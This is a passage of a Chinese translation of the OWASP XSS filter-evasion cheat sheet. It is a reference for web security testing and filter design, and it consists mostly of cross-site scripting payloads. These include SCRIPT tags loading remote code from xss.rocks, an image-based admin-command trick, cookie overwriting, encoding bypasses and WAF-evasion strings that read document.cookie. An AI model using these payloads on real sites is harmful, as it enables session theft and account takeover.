如果允許使用OBJECT,你可以插入一個病毒攻擊載荷來感染用戶,類似於APPLET標籤。鏈接文件實際是含有你XSS攻擊代碼的HTML文件:

<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.rocks/scriptlet.html"></OBJECT> 

 

 

2.71.    使用EMBED標籤加載含有XSS的FLASH文件

 

 

如果你添加了屬性allowScriptAccess="never"以及allownetworking="internal"則可以減小風險(感謝Jonathan Vanasco提供的信息):

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> 

 

 

2.72.    使用EMBED SVG包含攻擊向量

 

 

該示例只在FireFox下有效,但是比上面的攻擊向量在FireFox下好,因爲不需要用戶安裝或啓用FLASH。感謝nEUrOO提供:

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED> 

 

 

2.73.    在FLASH中使用ActionScript混淆XSS攻擊向量

a="get";

b="URL(\"";

c="javascript:";

d="alert('XSS');\")";

eval(a+b+c+d);

 

 

 

 

2.74.    CDATA混淆的XML數據島

 

 

這個XSS攻擊只在IE和使用IE渲染模式的Netscape 8.1下有效-攻擊向量由Sec Consult在審計Yahoo時發現

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>

<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

 

 

2.75.    使用XML數據島生成含內嵌JavaScript的本地XML文件

 

 

這和上面是一樣的但是將來源替換爲了包含跨站腳本攻擊向量的本地XML文件(必須在同一服務器上):

<XML SRC="xsstest.xml" ID=I></XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

 

 

2.76.    XML中使用HTML+TIME

 

 

這是Grey Magic攻擊Hotmail和Yahoo的方法。這隻在IE和IE渲染模式下的Netscape8.1有效並且記得需要在HTML域的BODY標籤中間纔有效:

<HTML><BODY> 

<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">

<?import namespace="t" implementation="#default#time2">

<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">

</BODY></HTML>

 

 

2.77.    使用一些字符繞過".js"過濾

 

 

你可以將你的JavaScript文件重命名爲圖像來作爲XSS攻擊向量:

<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT> 

 

 

2.78.    SSI(服務端腳本包含)

 

 

這需要在服務器端允許SSI來使用XSS攻擊向量。似乎不用提示這點,因爲如果你可以在服務器端執行指令那一定是有更嚴重的問題存在:

<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"--> 

 

 

2.79.    PHP

 

 

需要服務器端安裝了PHP來使用XSS攻擊向量。同樣,如果你可以遠程運行任意腳本,那會有更加嚴重的問題:

<? echo('<SCR)';

echo('IPT>alert("XSS")</SCRIPT>'); ?>

 

 

2.80.    嵌入命令的IMAGE

 

 

當頁面受密碼保護並且這個密碼保護同樣適用於相同域的不同頁面時有效,這可以用來進行刪除用戶,增加用戶(如果訪問頁面的是管理員的話),將密碼發送到任意地方等等。。。這是一個較少使用當時更有價值的XSS攻擊向量:

<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> 

2.80.1. 嵌入命令的IMAGE II

 

 

這更加可怕因爲這不包含任何可疑標識,除了它不在你自己的域名上。這個攻擊向量使用一個302或304(其他的也有效)來重定向圖片到指定命令。所以一個普通的<IMG SRC="httx://badguy.com/a.jpg">對於訪問圖片鏈接的用戶來說也有可能是一個攻擊向量。下面是利用.htaccess(Apache)配置文件來實現攻擊向量。(感謝Timo提供這部分。):

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

 

 

2.81.    Cookie篡改

 

 

儘管公認不太實用,但是還是可以發現一些允許使用META標籤的情況下可用它來覆寫cookie。另外的例子是當用戶訪問網站頁面時,一些網站讀取並顯示存儲在cookie中的用戶名,而不是數據庫中。當這兩種場景結合時,你可以修改受害者的cookie以便將JavaScript注入到其頁面中(你可以使用這個讓用戶登出或改變他們的用戶狀態,甚至可以讓他們以你的賬戶登錄):

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> 

 

 

2.82.    UTF-7編碼

 

 

如果存在XSS的頁面沒有提供頁面編碼頭部,或者使用了任何設置爲使用UTF-7編碼的瀏覽器,就可以使用下列方式進行攻擊(感謝Roman Ivanov提供)。這在任何不改變編碼類型的現代瀏覽器上是無效的,這也是爲什麼標記爲完全不支持的原因。Watchfire在Google的自定義404腳本中發現這個問題:

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- 

 

 

2.83.    利用HTML引號包含的XSS

 

 

這在IE中測試通過,但還得視情況而定。它是爲了繞過那些允許"<SCRIPT>"但是不允許"<SCRIPT SRC..."形式的正則過濾即"/<script[^>]+src/i":

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT> 

 

 

這是爲了繞過那些允許"<SCRIPT>"但是不允許"<SCRIPTSRC..."形式的正則過濾即" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"(這很重要,因爲在實際環境中出現過這種正則過濾):

<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT> 

 

 

另一個繞過此正則過濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS:

<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT> 

 

 

又一個繞過正則過濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS。儘管不想提及防禦方法,但如果你想允許<SCRIPT>標籤但不加載遠程腳本,針對這種XSS只能使用狀態機去防禦(當然如果允許<SCRIPT>標籤的話,還有其他方法繞過):

<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT> 

 

 

最後一個繞過此正則過濾" /<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i"的XSS,使用了重音符(在FireFox下無效):

<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT> 

 

 

這是一個XSS樣例,用來繞過那些不會檢查引號配對,而是發現任何引號就立即結束參數字符串的正則表達式:

<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT> 

 

 

這個XSS很讓人擔心,因爲如果不過濾所有活動內容幾乎不可能防止此攻擊:

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT> 

 

 

2.84.    URL字符繞過

 

 

假定"http://www.google.com/"是不被允許的:

 

 

2.84.1. IP代替域名

<A HREF="http://66.102.7.147/">XSS</A> 

 

 

 

 

2.84.2. URL編碼

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A> 

 

 

 

 

2.84.3. 雙字節編碼

 

 

(注意:還有另一種雙字節編碼):

<A HREF="http://1113982867/">XSS</A> 

 

 

2.84.4. 十六進制編碼

 

 

每個數字的允許的範圍大概是240位字符,就如你在第二位上看到的,並且由於十六進制是在0到F之間,所以開頭的0可以省略:

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> 

 

 

2.84.5. 八進制編碼

 

 

又一次允許填充,儘管你必須保證每類在4位字符以上-例如A類,B類等等:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

 

 

2.84.6. 混合編碼

 

 

讓我們混合基本編碼並在其中插入一些TAB和換行,雖然不知道瀏覽器爲什麼允許這樣做。TAB和換行只有被引號包含時纔有效:

<A HREF="h

tt p://6 6.000146.0x7.147/">XSS</A>

 

 

2.84.7. 協議解析繞過

 

 

(// 替代http://可以節約很多字節).當輸入空間有限時很有用(少兩個字符可能解決大問題) 而且可以輕鬆繞過類似"(ht|f)tp(s)?://"的正則過濾(感謝Ozh提供這部分).你也可以將"//"換成"\\"。你需要保證斜槓在正確的位置,否則可能被當成相對路徑URL:

<A HREF="//www.google.com/">XSS</A>

 

 

2.84.8. Google的"feeling lucky"功能1

 

 

Firefox使用Google的"feeling lucky"功能根據用戶輸入的任何關鍵詞來將用戶重定向。如果你存在漏洞的頁面在某些隨機關鍵詞上搜索引擎排名是第一的,你就可以利用這一特性來攻擊FireFox用戶。這使用了Firefox的"keyword:"協議。你可以像下面一樣使用多個關鍵詞"keyword:XSS+RSnake"。這在Firefox2.0後不再有效.

<A HREF="//google">XSS</A>

 

 

2.84.9. Google的"feeling lucky"功能2

 

 

這使用了一個僅在FireFox上有效的小技巧,因爲它實現了"feelinglucky"功能。不像下面一個例子,這個在Opera上無效因爲Opera會認爲只是一個老式的HTTP基礎認證釣魚攻擊,但它並不是。它只是一個畸形的URL。如果你點擊了對話框的確定,它就可以生效。但是在Opera上會是一個錯誤對話框,所以認爲其不被Opera所支持,同樣在Firefox2.0後不再有效。

<A HREF="http://ha.ckers.org@google">XSS</A>

 

 

2.84.10.      Google的"feeling lucky"功能3

 

 

這是一個畸形的URL只在FireFox和Opera下有效,因爲它們實現了"feeling lucky"功能。像上面的例子一樣,它要求你的攻擊頁面在Google上特定關鍵詞排名第一(在這個示例裏關鍵詞是"google")

<A HREF="http://google:ha.ckers.org">XSS</A>

 

 

2.84.11.      移除別名

 

 

當結合上面的URL,移除"www."會節約4個字節,總共爲正確設置的服務器節省9字節:

<A HREF="http://google.com/">XSS</A>

 

 

2.84.12.      絕對DNS名稱後額外的點

<A HREF="http://www.google.com./">XSS</A>

 

 

 

 

2.84.13.      JavaScriptlink location

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

 

 

 

 

2.84.14.      內容替換作爲攻擊向量

 

 

假設"http://www.google.com/"會自動替換爲空。我實際使用過類似的攻擊向量即通過使用轉換過濾器本身(示例如下)來幫助構建攻擊向量以對抗現實世界的XSS過濾器:

<A HREF="http://www.google.com/ogle.com/">XSS</A>

2.85.    字符轉義表

 

 

下面是HTML和JavaScript中字符“<”的所有可能組合。其中大部分不會被渲染出來,但其中許多可以在某些情況下呈現出來。:

<

%3C

&lt

&lt;

&LT

&LT;

&#60

&#060

&#0060

&#00060

&#000060

&#0000060

&#60;

&#060;

&#0060;

&#00060;

&#000060;

&#0000060;

&#x3c

&#x03c

&#x003c

&#x0003c

&#x00003c

&#x000003c

&#x3c;

&#x03c;

&#x003c;

&#x0003c;

&#x00003c;

&#x000003c;

&#X3c

&#X03c

&#X003c

&#X0003c

&#X00003c

&#X000003c

&#X3c;

&#X03c;

&#X003c;

&#X0003c;

&#X00003c;

&#X000003c;

&#x3C

&#x03C

&#x003C

&#x0003C

&#x00003C

&#x000003C

&#x3C;

&#x03C;

&#x003C;

&#x0003C;

&#x00003C;

&#x000003C;

&#X3C

&#X03C

&#X003C

&#X0003C

&#X00003C

&#X000003C

&#X3C;

&#X03C;

&#X003C;

&#X0003C;

&#X00003C;

&#X000003C;

\x3c

\x3C

\u003c

\u003C

 

3.繞過WAF的方法

 

 

通用問題

 

 

• 存儲型XSS

 

 

如果攻擊者已經讓XSS繞過過濾器,WAF無法阻止攻擊透過。

 

 

•基於JavaScript的反射型XSS

示例: <script> ... setTimeout(\"writetitle()\",$_GET[xss]) ... </script>

利用: /?xss=500); alert(document.cookie);//

 

 

 

•基於DOM的XSS

示例: <script> ... eval($_GET[xss]); ... </script>

利用: /?xss=document.cookie

 

 

 

通過請求重定向構造XSS

 

 

•存在漏洞代碼:

...

 header('Location: '.$_GET['param']);

...

 

 

同樣包括:

...

 header('Refresh: 0; URL='.$_GET['param']);

...

 

 

•這種請求不會繞過WAF:

/?param=javascript:alert(document.cookie)

 

 

•這種請求可以繞過WAF並且XSS攻擊可以在某些瀏覽器執行:

/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=

 

 

繞過WAF可用字符串.

<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">

<Video> <source onerror = "javascript: alert (XSS)">

<Input value = "XSS" type = text>

<applet code="javascript:confirm(document.cookie);">

<isindex x="javascript:" onmouseover="alert(XSS)">

"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

"><img src="x:x" onerror="alert(XSS)">

"><iframe src="javascript:alert(XSS)">

<object data="javascript:alert(XSS)">

<isindex type=image src=1 onerror=alert(XSS)>

<img src=x:alert(alt) onerror=eval(src) alt=0>

<img  src="x:gif" onerror="window['al\u0065rt'](0)"></img>

<iframe/src="data:text/html,<svg onload=alert(1)>">

<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>

<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script

<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">

<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>

<form><a href="javascript:\u0061lert(1)">X

</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>

<style>//*{x:expression(alert(/xss/))}//<style></style> 

On Mouse Over​

<img src="/" =_=" title="onerror='prompt(1)'">

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe

<script x> alert(1) </script 1=2

<form><button formaction=javascript&colon;alert(1)>CLICKME

<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"

<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

 

 

 

3.1.  Alert混淆以繞過過濾器

(alert)(1)

a=alert,a(1)

[1].find(alert)

top[“al”+”ert”](1)

top[/al/.source+/ert/.source](1)

al\u0065rt(1)

top[‘al\145rt’](1)

top[‘al\x65rt’](1)

top[8680439..toString(30)](1)

 

4.作者和主要編輯

 

 

Robert "RSnake" Hansen

 

5.貢獻者

 

 

Adam Lange

 

 

Mishra Dhiraj

 

 

版權與許可

 

 

版權所有:OWASP基金會©

 

本文檔基於 Creative Commons Attribution ShareAlike3.0 license 發佈。任何重用或發行,都必須向他人明確該文檔的許可條款。 http://creativecommons.org/licenses/by-sa/3.0/

*原文地址:owasp.org,walletong@ansion編譯,轉載自FreeBuf.COM

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章